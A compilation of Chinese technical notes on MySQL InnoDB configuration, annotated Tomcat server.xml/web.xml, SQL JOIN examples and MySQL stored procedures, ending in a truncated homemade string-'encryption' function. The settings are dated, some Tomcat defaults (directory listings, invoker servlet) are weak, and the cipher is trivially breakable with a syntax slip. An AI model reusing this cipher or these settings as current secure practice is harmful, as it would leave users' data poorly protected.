COMPILATION_DATADIR 是 MySQL 的数据文件目录,它是在 mysqld 被编译时以 ./configure 设置指定 (典型的是 /usr/local/mysql/data 二进制安装或 /usr/local/var 以源安装)。 如果不有确定 mysqld 从哪里读取 my.cnf 或 my.ini,可以在第一命令行上详细指定它的目录:mysqld --defaults-file=your_path_to_my_cnf 。 InnoDB 的数据文件目录是对 innodb_data_home_dir 与 innodb_data_file_path 的数据文件名或目录联合 ,如果需要将在它们之间增加一个“/”或“\”。如果关键字 innodb_data_home_dir 没有在 my.cnf 中明确指定,它的默认值为“.”,即目录“./”,这意味着 MySQL 的 datadir of MySQL. 一个高级的 my.cnf 示例。假设你有一台 2 GB RAM 和3个 60 GB 硬盘(路径分别为 "/", "/dr2" 和 “/dr3”)装有 Linux。下面的例子是为了使用 InnoDB 而在 my.cnf 文件中可能所作的一些配置。 注意:InnoDB 不会自己创建文件目录:你必须自己创建它们。使用 Unix 或 MS-DOS mkdir 命令建立相应的数据与日志文件目录。 [mysqld] #在这里加入其它 的 MySQL 服务器配置 #... # 如果不使用InnoDB表将一列一行注释去除 # skip-innodb # # 数据文件必须 # 能够容下数据与索引 # 确定有足够的 # 磁盘空间 innodb_data_file_path = /ibdata/ibdata1:2000M;/dr2/ibdata/ibdata2:2000M:autoextend # 设置缓冲池的大小为 # 你的主内存大小的 # 50 - 80 %,但是 # 在 Linux x86 总内存 # 使用必须小于 2 GB set-variable = innodb_buffer_pool_size=1G set-variable = innodb_additional_mem_pool_size=20M innodb_log_group_home_dir = /dr3/iblogs # .._log_arch_dir 必须和 # .._log_group_home_dir一样; # 从 4.0.6开始,可以省略它 innodb_log_arch_dir = /dr3/iblogs set-variable = innodb_log_files_in_group=3 # 设置日志文件的大小约为 # 缓冲池(buffer pool) # 大小的 15 % set-variable = innodb_log_file_size=150M set-variable = innodb_log_buffer_size=8M # 如果丢失最近几个事务影响 # 不大的话可以设置 # .._flush_log_at_trx_commit = 0 innodb_flush_log_at_trx_commit=1 set-variable = innodb_lock_wait_timeout=50 #innodb_flush_method=fdatasync #set-variable = innodb_thread_concurrency=5
注意:我们已在不同的硬盘上放置了两个数据文件, InnoDB 将从数据文件的底部填充表空间。在某些情况下所有的数据被分配到不同的物理硬盘中会提高数据库的性能。 将日志文件与数据文件分别放在不同的物理硬盘中对提高性能通常是很有益的。你同样可以使用一个 RAW 磁盘分区( raw disk partitions(raw devices)) 作为数据文件, 在一些 Unixe 系统中这将提高 I/O 能力。 如何在 my.cnf 中详细指定它们请查看第 12.1 节。 警告:在 Linux x86 上必须小心不能将内存使用设置太高, glibc 会把进程堆增长到线程堆栈之上,这将会使服务器崩溃。下面的接近或超过于 2G 将会很危险: innodb_buffer_pool_size + key_buffer + max_connections * (sort_buffer + record_buffer) + max_connections * 2 MB
每个线程将使用 2MB(MySQL AB 二进制版本为 256 KB)的堆栈,在最坏的环境下还会使用 sort_buffer + record_buffer 的附加内存。 如何调整其它的 mysqld 服务器参数?查看 MySQL 用户手册可以得到更详细的信息。适合大多数用户的典型参数如下所示: skip-locking set-variable = max_connections=200 set-variable = record_buffer=1M set-variable = sort_buffer=1M # 设置索引缓冲(key_buffer)大小为 # 你的 RAM 的 5 - 50% ,这主要依赖于 # 系统中 MyISAM 表使用量。 # 但是必须保证索引缓冲(key_buffer)与 InnoDB # 的缓冲池(buffer pool)大小总和 # 小于 RAM 的 80%。 set-variable = key_buffer=...
注意:在 my.cnf 文件中有些参数是为了设置数字的,它们的设置格式为:set-variable = innodb... = 123 ,而其它(字符串和逻辑型)的采用另一设置格式:innodb_... = ... . 各设置参数的含义如下: innodb_data_home_dir | 这是InnoDB表的目录共用设置。如果没有在 my.cnf 进行设置,InnoDB 将使用MySQL的 datadir 目录为缺省目录。如果设定一个空字串,可以在 innodb_data_file_path 中设定绝对路径。 | innodb_data_file_path | 单独指定数据文件的路径与大小。数据文件的完整路径由 innodb_data_home_dir 与这里所设定值的组合。 文件大小以 MB 单位指定。因此在文件大小指定后必有“M”。 InnoDB 也支持缩写“G”, 1G = 1024M。从 3.23.44 开始,在那些支持大文件的操作系统上可以设置数据文件大小大于 4 GB。而在另一些操作系统上数据文件必须小于 2 GB。数据文件大小总和至少要达到 10 MB。在 MySQL-3.23 中这个参数必须在 my.cnf 中明确指定。在 MySQL-4.0.2 以及更新版本中则不需如此,系统会默认在 MySQL 的 datadir 目录下创建一个 16 MB 自扩充(auto-extending)的数据文件 ibdata1。你同样可以使用一个 原生磁盘分区(RAW raw disk partitions(raw devices)) 作为数据文件, 如何在 my.cnf 中详细指定它们请查看第 12.1 节。 | innodb_mirrored_log_groups | 为了保护数据而设置的日志文件组的拷贝数目,默认设置为 1。在 my.cnf 中以数字格式设置。 | innodb_log_group_home_dir | InnoDB 日志文件的路径。必须与 innodb_log_arch_dir 设置相同值。 如果没有明确指定将默认在 MySQL 的 datadir 目录下建立两个 5 MB 大小的 ib_logfile... 文件。 | innodb_log_files_in_group | 日志组中的日志文件数目。InnoDB 以环型方式(circular fashion)写入文件。数值 3 被推荐使用。在 my.cnf 中以数字格式设置。 | innodb_log_file_size | 日志组中的每个日志文件的大小(单位 MB)。如果 n 是日志组中日志文件的数目,那么理想的数值为 1M 至下面设置的缓冲池(buffer pool)大小的 1/n。较大的值,可以减少刷新缓冲池的次数,从而减少磁盘 I/O。但是大的日志文件意味着在崩溃时需要更长的时间来恢复数据。 日志文件总和必须小于 2 GB,3.23.55 和 4.0.9 以上为小于 4 GB。在 my.cnf 中以数字格式设置。 | innodb_log_buffer_size | InnoDB 将日志写入日志磁盘文件前的缓冲大小。理想值为 1M 至 8M。大的日志缓冲允许事务运行时不需要将日志保存入磁盘而只到事务被提交(commit)。 因此,如果有大的事务处理,设置大的日志缓冲可以减少磁盘I/O。 在 my.cnf 中以数字格式设置。 | innodb_flush_log_at_trx_commit | 通常设置为 1,意味着在事务提交前日志已被写入磁盘, 事务可以运行更长以及服务崩溃后的修复能力。如果你愿意减弱这个安全,或你运行的是比较小的事务处理,可以将它设置为 0 ,以减少写日志文件的磁盘 I/O。这个选项默认设置为 0。 | innodb_log_arch_dir | The directory where fully written log files would be archived if we used log archiving. 这里设置的参数必须与 innodb_log_group_home_dir 相同。 从 4.0.6 开始,可以忽略这个参数。 | innodb_log_archive | 这个值通常设为 0。 既然从备份中恢复(recovery)适合于 MySQL 使用它自己的 log files,因而通常不再需要 archive InnoDB log files。这个选项默认设置为 0。 | innodb_buffer_pool_size | InnoDB 用来高速缓冲数据和索引内存缓冲大小。 更大的设置可以使访问数据时减少磁盘 I/O。在一个专用的数据库服务器上可以将它设置为物理内存的 80 %。 不要将它设置太大,因为物理内存的使用竞争可能会影响操作系统的页面调用。在 my.cnf 中以数字格式设置。 | innodb_additional_mem_pool_size | InnoDB 用来存储数据字典(data dictionary)信息和其它内部数据结构(internal data structures)的存储器组合(memory pool)大小。理想的值为 2M,如果有更多的表你就需要在这里重新分配。如果 InnoDB 用尽这个池中的所有内存,它将从操作系统中分配内存,并将错误信息写入 MySQL 的错误日志中。在 my.cnf 中以数字格式设置。 | innodb_file_io_threads | InnoDB 中的文件 I/O 线程。 通常设置为 4,但是在 Windows 下可以设定一个更大的值以提高磁盘 I/O。在 my.cnf 中以数字格式设置。 | innodb_lock_wait_timeout | 在回滚(rooled back)之前,InnoDB 事务将等待超时的时间(单位 秒)。InnoDB 会自动检查自身在锁定表与事务回滚时的事务死锁。如果使用 LOCK TABLES 命令,或在同一个事务中使用其它事务安全型表处理器(transaction safe table handlers than InnoDB),那么可能会发生一个 InnoDB 无法注意到的死锁。在这种情况下超时将用来解决这个问题。这个参数的默认值为 50 秒。在 my.cnf 中以数字格式设置。 | innodb_flush_method | 这个参数仅仅与 Unix 相关。这个参数默认值为 fdatasync 。 另一个设置项为 O_DSYNC 。这仅仅影响日志文件的转储,在 Unix 下以 fsync 转储数据。InnoDB 版本从 3.23.40b 开始,在 Unix 下指定 fdatasync 为使用 fsync 方式、指定 O_DSYNC 为使用 O_SYNC 方式。由于这在某些 Unix 环境下还有些问题所以在 'data' versions 并没有被使用。 | innodb_force_recovery | 警告:此参数只能在你希望从一个被损坏的数据库中转储(dump)数据的紧急情况下使用! 可能设置的值范围为 1 - 6。查看下面的章节 'Forcing recovery' 以了解这个参数的具体含义。参数设置大于 0 的值代表着 InnoDB 防止用户修改数据的安全度。从 3.23.44 开始,这个参数可用。在 my.cnf 中以数字格式设置。 | innodb_fast_shutdown | InnoDB 缺少在关闭之前清空插入缓冲。这个操作可能需要几分钟,在极端的情况下可以需要几个小时。如果这个参数据设置为 1 ,InnoDB 将跳过这个过程而直接关闭。从 3.23.44 和 4.0.1 开始,此参数可用。从 3.23.50 开始,此参数的默认值为 1。 | innodb_thread_concurrency | InnoDB 会试图将 InnoDB 服务的使用的操作系统进程小于或等于这里所设定的数值。此参数默认值为 8。如果计算机系统性能较低或 innodb_monitor 显示有很多线程等侍信号,应该将这个值设小一点。如果你的计算机系统有很我的处理器与磁盘系统,则可以将这个值设高一点以充分利用你的系统资源。建议设值为处理器数目+ 磁盘数目。 从 3.23.44 和 4.0.1 开始,此参数可用。在 my.cnf 中以数字格式设置。 |
|
1 - Tomcat Server的组成部分
1.1 - Server
A Server element represents the entire Catalina servlet container.
(Singleton)
1.2 - Service
A Service element represents the combination of one or more Connector
components that share a single
Engine
Service是这样一个集合:它由一个或者多个Connector组成,以及一个Engine,负责处理所有Connector所获得的客户请求
1.3 - Connector
一个Connector将在某个指定端口上侦听客户请求,并将获得的请求交给Engine来处理,从Engine处获得回应并返回客户
TOMCAT有两个典型的Connector,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求
Coyote
Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
Coyote JK2 Connector
在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求
1.4 - Engine
The Engine element represents the entire request processing machinery
associated with a particular Service
It receives and processes all requests
from one or more Connectors
and returns the completed response to the
Connector for ultimate transmission back to the
client
Engine下可以配置多个虚拟主机Virtual
Host,每个虚拟主机都有一个域名
当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理
Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理
1.5 - Host
代表一个Virtual Host,虚拟主机,每个虚拟主机和某个网络域名Domain
Name相匹配
每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context
path
当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理
匹配的方法是“最长匹配”,所以一个path==""的Context将成为该Host的默认Context
所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配
1.6 - Context
一个Context对应于一个Web Application,一个Web
Application由一个或者多个Servlet组成
Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类
当Context获得请求时,将在自己的映射表(mapping
table)中寻找相匹配的Servlet类
如果找到,则执行该类,获得请求的回应,并返回
2 - Tomcat Server的结构图
3 - 配置文件$CATALINA_HOME/conf/server.xml的说明
该文件描述了如何启动Tomcat Server
<!----------------------------------------------------------------------------------------------->
<!-- 启动Server
在端口8005处等待关闭命令
如果接受到"SHUTDOWN"字符串则关闭服务器
-->
<Server port="8005" shutdown="SHUTDOWN" debug="0">
<!-- Listener ???
目前没有看到这里
-->
<Listener className="org.apache.catalina.mbeans.ServerLifecycleListener" debug="0"/>
<Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" debug="0"/>
<!-- Global JNDI resources ???
目前没有看到这里,先略去
-->
<GlobalNamingResources>
... ... ... ...
</GlobalNamingResources>
<!-- Tomcat的Standalone Service
Service是一组Connector的集合
它们共用一个Engine来处理所有Connector收到的请求
-->
<Service name="Tomcat-Standalone">
<!-- Coyote HTTP/1.1 Connector
className : 该Connector的实现类是org.apache.coyote.tomcat4.CoyoteConnector
port : 在端口号8080处侦听来自客户browser的HTTP1.1请求
minProcessors : 该Connector先创建5个线程等待客户请求,每个请求由一个线程负责
maxProcessors : 当现有的线程不够服务客户请求时,若线程总数不足75个,则创建新线程来处理请求
acceptCount : 当现有线程已经达到最大数75时,为客户请求排队
当队列中请求数超过100时,后来的请求返回Connection refused错误
redirectport : 当客户请求是https时,把该请求转发到端口8443去
其它属性略
-->
<Connector className="org.apache.coyote.tomcat4.CoyoteConnector"
port="8080"
minProcessors="5" maxProcessors="75" acceptCount="100"
enableLookups="true"
redirectPort="8443"
debug="0"
connectionTimeout="20000"
useURIValidationHack="false"
disableUploadTimeout="true" />
<!-- Engine用来处理Connector收到的Http请求
它将匹配请求和自己的虚拟主机,并把请求转交给对应的Host来处理
默认虚拟主机是localhost
-->
<Engine name="Standalone" defaultHost="localhost" debug="0">
<!-- 日志类,目前没有看到,略去先 -->
<Logger className="org.apache.catalina.logger.FileLogger" .../>
<!-- Realm,目前没有看到,略去先 -->
<Realm className="org.apache.catalina.realm.UserDatabaseRealm" .../>
<!-- 虚拟主机localhost
appBase : 该虚拟主机的根目录是webapps/
它将匹配请求和自己的Context的路径,并把请求转交给对应的Context来处理
-->
<Host name="localhost" debug="0" appBase="webapps" unpackWARs="true" autoDeploy="true">
<!-- 日志类,目前没有看到,略去先 -->
<Logger className="org.apache.catalina.logger.FileLogger" .../>
<!-- Context,对应于一个Web App
path : 该Context的路径名是"",故该Context是该Host的默认Context
docBase : 该Context的根目录是webapps/mycontext/
-->
<Context path="" docBase="mycontext" debug="0"/>
<!-- 另外一个Context,路径名是/wsota -->
<Context path="/wsota" docBase="wsotaProject" debug="0"/>
</Host>
</Engine>
</Service>
</Server>
<!----------------------------------------------------------------------------------------------->
4 - Context的部署配置文件web.xml的说明
一个Context对应于一个Web App,每个Web App是由一个或者多个servlet组成的
当一个Web
App被初始化的时候,它将用自己的ClassLoader对象载入“部署配置文件web.xml”中定义的每个servlet类
它首先载入在$CATALINA_HOME/conf/web.xml中部署的servlet类
然后载入在自己的Web
App根目录下的WEB-INF/web.xml中部署的servlet类
web.xml文件有两部分:servlet类定义和servlet映射定义
每个被载入的servlet类都有一个名字,且被填入该Context的映射表(mapping
table)中,和某种URL PATTERN对应
当该Context获得请求时,将查询mapping
table,找到被请求的servlet,并执行以获得请求回应
分析一下所有的Context共享的web.xml文件,在其中定义的servlet被所有的Web App载入
<!----------------------------------------------------------------------------------------------->
<web-app>
<!-- 概述:
该文件是所有的WEB APP共用的部署配置文件,
每当一个WEB APP被DEPLOY,该文件都将先被处理,然后才是WEB APP自己的/WEB-INF/web.xml
-->
<!-- +-------------------------+ -->
<!-- | servlet类定义部分 | -->
<!-- +-------------------------+ -->
<!-- DefaultServlet
当用户的HTTP请求无法匹配任何一个servlet的时候,该servlet被执行
URL PATTERN MAPPING : /
-->
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>
org.apache.catalina.servlets.DefaultServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- InvokerServlet
处理一个WEB APP中的匿名servlet
当一个servlet被编写并编译放入/WEB-INF/classes/中,却没有在/WEB-INF/web.xml中定义的时候
该servlet被调用,把匿名servlet映射成/servlet/ClassName的形式
URL PATTERN MAPPING : /servlet/*
-->
<servlet>
<servlet-name>invoker</servlet-name>
<servlet-class>
org.apache.catalina.servlets.InvokerServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
<!-- JspServlet
当请求的是一个JSP页面的时候(*.jsp)该servlet被调用
它是一个JSP编译器,将请求的JSP页面编译成为servlet再执行
URL PATTERN MAPPING : *.jsp
-->
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>logVerbosityLevel</param-name>
<param-value>WARNING</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
<!-- +---------------------------+ -->
<!-- | servlet映射定义部分 | -->
<!-- +---------------------------+ -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>invoker</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
</servlet-mapping>
<!-- +------------------------+ -->
<!-- | 其它部分,略去先 | -->
<!-- +------------------------+ -->
... ... ... ...
</web-app>
<!----------------------------------------------------------------------------------------------->
5 - Tomcat Server处理一个http请求的过程
假设来自客户的请求为:
http://localhost:8080/wsota/wsota_index.jsp
1)
请求被发送到本机端口8080,被在那里侦听的Coyote HTTP/1.1 Connector获得
2)
Connector把该请求交给它所在的Service的Engine来处理,并等待来自Engine的回应
3)
Engine获得请求localhost/wsota/wsota_index.jsp,匹配它所拥有的所有虚拟主机Host
4)
Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机)
5)
localhost Host获得请求/wsota/wsota_index.jsp,匹配它所拥有的所有Context
6)
Host匹配到路径为/wsota的Context(如果匹配不到就把该请求交给路径名为""的Context去处理)
7)
path="/wsota"的Context获得请求/wsota_index.jsp,在它的mapping table中寻找对应的servlet
8)
Context匹配到URL PATTERN为*.jsp的servlet,对应于JspServlet类
9)
构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet或doPost方法
10)Context把执行完了之后的HttpServletResponse对象返回给Host
11)Host把HttpServletResponse对象返回给Engine
12)Engine把HttpServletResponse对象返回给Connector
13)Connector把HttpServletResponse对象返回给客户browser
SQL--JOIN之完全用法
外联接。外联接可以是左向外联接、右向外联接或完整外部联接。
在
FROM 子句中指定外联接时,可以由下列几组关键字中的一组指定:
LEFT JOIN 或 LEFT
OUTER JOIN。
左向外联接的结果集包括 LEFT OUTER
子句中指定的左表的所有行,而不仅仅是联接列所匹配的行。如果左表的某行在右表中没有匹配行,则在相关联的结果集行中右表的所有选择列表列均为空值。
RIGHT JOIN 或 RIGHT OUTER JOIN。
右向外联接是左向外联接的反向联接。将返回右表的所有行。如果右表的某行在左表中没有匹配行,则将为左表返回空值。
FULL JOIN 或 FULL OUTER JOIN。
完整外部联接返回左表和右表中的所有行。当某行在另一个表中没有匹配行时,则另一个表的选择列表列包含空值。如果表之间有匹配行,则整个结果集行包含基表的
数据值。
仅当至少有一个同属于两表的行符合联接条件时,内联接才返回行。内联接消除与另一个表中的任何行不匹配的行。而外联接会返回
FROM 子句中提到的至少一个表或视图的所有行,只要这些行符合任何 WHERE 或 HAVING
搜索条件。将检索通过左向外联接引用的左表的所有行,以及通过右向外联接引用的右表的所有行。完整外部联接中两个表的所有行都将返回。
Microsoft® SQL Server™ 2000 对在 FROM 子句中指定的外联接使用以下 SQL-92
关键字:
LEFT OUTER JOIN 或 LEFT JOIN
RIGHT OUTER JOIN 或 RIGHT JOIN
FULL
OUTER JOIN 或 FULL JOIN
SQL Server 支持 SQL-92
外联接语法,以及在 WHERE 子句中使用 *= 和 =* 运算符指定外联接的旧式语法。由于 SQL-92
语法不容易产生歧义,而旧式 Transact-SQL 外联接有时会产生歧义,因此建议使用 SQL-92 语法。
使用左向外联接
假设在 city 列上联接 authors 表和 publishers
表。结果只显示在出版商所在城市居住的作者(本例中为 Abraham Bennet 和 Cheryl Carson)。
若要在结果中包括所有的作者,而不管出版商是否住在同一个城市,请使用 SQL-92 左向外联接。下面是 Transact-SQL
左向外联接的查询和结果:
USE pubs
SELECT a.au_fname,
a.au_lname, p.pub_name
FROM authors a LEFT OUTER JOIN
publishers p
ON a.city = p.city
ORDER BY
p.pub_name ASC, a.au_lname ASC, a.au_fname ASC
下面是结果集:
au_fname au_lname pub_name
-------------------- ------------------------------
-----------------
Reginald Blotchet-Halls NULL
Michel
DeFrance NULL
Innes del Castillo NULL
Ann Dull
NULL
Marjorie Green NULL
Morningstar Greene NULL
Burt Gringlesby NULL
Sheryl Hunter NULL
Livia
Karsen NULL
Charlene Locksley NULL
Stearns MacFeather
NULL
Heather McBadden NULL
Michael O'Leary NULL
Sylvia Panteley NULL
Albert Ringer NULL
Anne
Ringer NULL
Meander Smith NULL
Dean Straight NULL
Dirk Stringer NULL
Johnson White NULL
Akiko
Yokomoto NULL
Abraham Bennet Algodata Infosystems
Cheryl Carson Algodata Infosystems
(23 row(s)
affected)
不管是否与 publishers 表中的 city 列匹配,LEFT OUTER
JOIN 均会在结果中包含 authors 表的所有行。注意:结果中所列的大多数作者都没有相匹配的数据,因此,这些行的 pub_name
列包含空值。
使用右向外联接
假设在 city 列上联接 authors 表和
publishers 表。结果只显示在出版商所在城市居住的作者(本例中为 Abraham Bennet 和 Cheryl
Carson)。SQL-92 右向外联接运算符 RIGHT OUTER JOIN
指明:不管第一个表中是否有匹配的数据,结果将包含第二个表中的所有行。
若要在结果中包括所有的出版商,而不管城市中是否还有出版商居住,请使用 SQL-92 右向外联接。下面是 Transact-SQL
右向外联接的查询和结果:
USE pubs
SELECT a.au_fname,
a.au_lname, p.pub_name
FROM authors AS a RIGHT OUTER
JOIN publishers AS p
ON a.city = p.city
ORDER BY
p.pub_name ASC, a.au_lname ASC, a.au_fname ASC
下面是结果集:
au_fname au_lname pub_name
-------------------- ------------------------ --------------------
Abraham Bennet Algodata Infosystems
Cheryl Carson
Algodata Infosystems
NULL NULL Binnet & Hardley
NULL NULL Five Lakes Publishing
NULL NULL GGG&G
NULL NULL Lucerne Publishing
NULL NULL New Moon
Books
NULL NULL Ramona Publishers
NULL NULL Scootney
Books
(9 row(s) affected)
使用谓词(如将联接与常量比较)可以进一步限制外联接。下例包含相同的右向外联接,但消除销售量低于 50 本的书籍的书名:
USE pubs
SELECT s.stor_id, s.qty, t.title
FROM
sales s RIGHT OUTER JOIN titles t
ON s.title_id =
t.title_id
AND s.qty > 50
ORDER BY s.stor_id
ASC
下面是结果集:
stor_id qty title
------- ------
---------------------------------------------------------
(null)
(null) But Is It User Friendly?
(null) (null) Computer
Phobic AND Non-Phobic Individuals: Behavior
Variations
(null) (null) Cooking with Computers: Surreptitious
Balance Sheets
(null) (null) Emotional Security: A New
Algorithm
(null) (null) Fifty Years in Buckingham Palace
Kitchens
7066 75 Is Anger the Enemy?
(null)
(null) Life Without Fear
(null) (null) Net Etiquette
(null) (null) Onions, Leeks, and Garlic: Cooking Secrets
of the
Mediterranean
(null) (null) Prolonged Data
Deprivation: Four Case Studies
(null) (null) Secrets of
Silicon Valley
(null) (null) Silicon Valley Gastronomic
Treats
(null) (null) Straight Talk About Computers
(null) (null) Sushi, Anyone?
(null) (null) The
Busy Executive's Database Guide
(null) (null) The
Gourmet Microwave
(null) (null) The Psychology of
Computer Cooking
(null) (null) You Can Combat Computer
Stress!
(18 row(s) affected)
有关谓词的更多信息,请参见 WHERE。
使用完整外部联接
若要通过在联接结果中包括不匹配的行保留不匹配信息,请使用完整外部联接。Microsoft® SQL Server™ 2000
提供完整外部联接运算符 FULL OUTER JOIN,不管另一个表是否有匹配的值,此运算符都包括两个表中的所有行。
假设在 city 列上联接 authors 表和 publishers 表。结果只显示在出版商所在城市居住的作者(本例中为
Abraham Bennet 和 Cheryl Carson)。SQL-92 FULL OUTER JOIN
运算符指明:不管表中是否有匹配的数据,结果将包括两个表中的所有行。
若要在结果中包括所有作者和出版商,而不管城市中是否有出版商或者出版商是否住在同一个城市,请使用完整外部联接。下面是 Transact-SQL
完整外部联接的查询和结果:
USE pubs
SELECT a.au_fname,
a.au_lname, p.pub_name
FROM authors a FULL OUTER JOIN
publishers p
ON a.city = p.city
ORDER BY
p.pub_name ASC, a.au_lname ASC, a.au_fname ASC
下面是结果集:
au_fname au_lname pub_name
-------------------- ----------------------------
--------------------
Reginald Blotchet-Halls NULL
Michel
DeFrance NULL
Innes del Castillo NULL
Ann Dull
NULL
Marjorie Green NULL
Morningstar Greene NULL
Burt Gringlesby NULL
Sheryl Hunter NULL
Livia
Karsen NULL
Charlene Locksley NULL
Stearns MacFeather
NULL
Heather McBadden NULL
Michael O'Leary NULL
Sylvia Panteley NULL
Albert Ringer NULL
Anne
Ringer NULL
Meander Smith NULL
Dean Straight NULL
Dirk Stringer NULL
Johnson White NULL
Akiko
Yokomoto NULL
Abraham Bennet Algodata Infosystems
Cheryl Carson Algodata Infosystems
NULL NULL Binnet
& Hardley
NULL NULL Five Lakes Publishing
NULL
NULL GGG&G
NULL NULL Lucerne Publishing
NULL
NULL New Moon Books
NULL NULL Ramona Publishers
NULL NULL Scootney Books
联接条件可在 FROM 或 WHERE 子句中指定,建议在
FROM 子句中指定联接条件。WHERE 和 HAVING 子句也可以包含搜索条件,以进一步筛选联接条件所选的行。
联接可分为以下几类:
内联接(典型的联接运算,使用像 = 或 <>
之类的比较运算符)。包括相等联接和自然联接。
内联接使用比较运算符根据每个表共有的列的值匹配两个表中的行。例如,检索
students 和 courses 表中学生标识号相同的所有行。
外联接。外联接可以是左向外联接、右向外联接或完整外部联接。
在 FROM
子句中指定外联接时,可以由下列几组关键字中的一组指定:
LEFT JOIN 或 LEFT OUTER
JOIN。
左向外联接的结果集包括 LEFT OUTER
子句中指定的左表的所有行,而不仅仅是联接列所匹配的行。如果左表的某行在右表中没有匹配行,则在相关联的结果集行中右表的所有选择列表列均为空值。
RIGHT JOIN 或 RIGHT OUTER JOIN。
右向外联接是左向外联接的反向联接。将返回右表的所有行。如果右表的某行在左表中没有匹配行,则将为左表返回空值。
FULL JOIN 或 FULL OUTER JOIN。
完整外部联接返回左表和右表中的所有行。当某行在另一个表中没有匹配行时,则另一个表的选择列表列包含空值。如果表之间有匹配行,则整个结果集行包含基表的数据值。
交叉联接。
交叉联接返回左表中的所有行,左表中的每一行与右表中的所有行组合。交叉联接也称作笛卡尔积。
例如,下面的内联接检索与某个出版商居住在相同州和城市的作者:
USE pubs
SELECT a.au_fname, a.au_lname, p.pub_name
FROM authors
AS a INNER JOIN publishers AS p
ON a.city =
p.city
AND a.state = p.state
ORDER BY
a.au_lname ASC, a.au_fname ASC
FROM
子句中的表或视图可通过内联接或完整外部联接按任意顺序指定;但是,用左或右向外联接指定表或视图时,表或视图的顺序很重要。有关使用左或右向外联接排列表的更多信息,请参见使用外联接。
例子:
a表 id name b表
id job parent_id
1 张3 1 23
1
2 李四 2 34 2
3 王武 3 34 4
a.id同parent_id 存在关系
内连接
select a.*,b.* from a inner join b
on a.id=b.parent_id
结果是
1 张3
1 23 1
2 李四 2 34 2
左连接
select a.*,b.* from a left join b on
a.id=b.parent_id
结果是
1 张3 1
23 1
2 李四 2 34 2
3 王武
null
右连接
select a.*,b.* from a right join
b on a.id=b.parent_id
结果是
1 张3
1 23 1
2 李四 2 34 2
null
3 34 4
完全连接
select
a.*,b.* from a full join b on a.id=b.parent_id
结果是
1 张3 1 23 1
2 李四
2 34 2
null 3 34 4
3 王武 null
左连接例子
select count(*) as title
from seek_user t1 left join sekk_info t2 on t1.seek_id=t2.user_id where
SeekusType!='8'
MySql5.0以后均支持存储过程,最近有空,研究了一把这个
格式:
CREATE PROCEDURE 过程名 ([过程参数[,...]])
[特性 ...] 过程体
CREATE FUNCTION 函数名 ([函数参数[,...]])
RETURNS 返回类型
[特性 ...] 函数体
过程参数:
[ IN | OUT | INOUT ] 参数名 参数类型
函数参数:
参数名 参数类型
返回类型:
有效的MySQL数据类型即可
特性:
LANGUAGE SQL
| [NOT] DETERMINISTIC
| { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }
| SQL SECURITY { DEFINER | INVOKER }
| COMMENT 'string'
过程体/函数体:格式如下:
BEGIN
有效的SQL语句
END
我在这里不关心专有的特性,这些与SQL规范不兼容,所以characteristic(特性)的相关内容不作考虑。
//
在开发过程中有几点要注意:
1、存储过程注释:MySQL支持采用--或者/**/注释,其中前者是行注释,后者是段式注释
2、变量首先用declare申明,其中临时变量可以直接以@前缀修饰以供引用
3、直接采用MySQL的Administrator管理器编辑时,可以直接采用如下函数文本录入;
但若在脚本中自动导入存储过程或函数时,由于MySQL默认以";"为分隔符,则过程体的每一句
都被MySQL以存储过程编译,则编译过程会报错;所以要事先用DELIMITER关键字申明当前段分隔符
用完了就把分隔符还原。 如下所示:
DELIMITER $$
Stored Procedures and Functions
DELIMITER ;
4、MySQL支持大量的内嵌函数,有些是和大型商用数据库如oracle、informix、sybase等一致,
但也有些函数名称不一致,但功能一致;或者有些名称一致,但功能相异,这个特别对于从
这些数据库开发转过来的DBA要注意。
5、存储过程或函数的调试:我目前还没有研究MySQL所带的各种工具包,还不清楚其提供了调试工具
没有,不过编译错误相对好查找;至于业务流程的调试,可以采用一个比较笨的方法,就是创建一
个调试表,在包体中各个流程点都插入一条记录,以观察程序执行流程。这也是一个比较方便的笨
办法。^_^
下面是2个例子,提供了一种字串加密的算法,每次以相同的入参调用都会得到不同的加密结果,
算法相对比较简单,不具备强度。分别以函数和过程的形式分别实现如下:
(1)函数
eg:
CREATE FUNCTION fun_addmm(inpass varchar(10)) RETURNS varchar(11)
BEGIN
declare string_in varchar(39);
declare string_out varchar(78);
declare offset tinyint(2);
declare outpass varchar(30) default ';
declare len tinyint;
/*declare i tinyint;*/
/**/
set len=LENGTH(inpass);
if((len<=0) or (len>10)) then
return "";
end if;
set offset=(SECOND(NOW()) mod 39)+1; /*根据秒数取模*/
/*insert into testtb values(offset,'offset: ');*/
set string_out='YN8K1JOZVURB3MDETS5GPL27AXWIHQ94C6F0#$_'; /*密钥*/
set string_in='_$#ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
set outpass=CONCAT(outpass,SUBSTRING(string_out,offset,1));
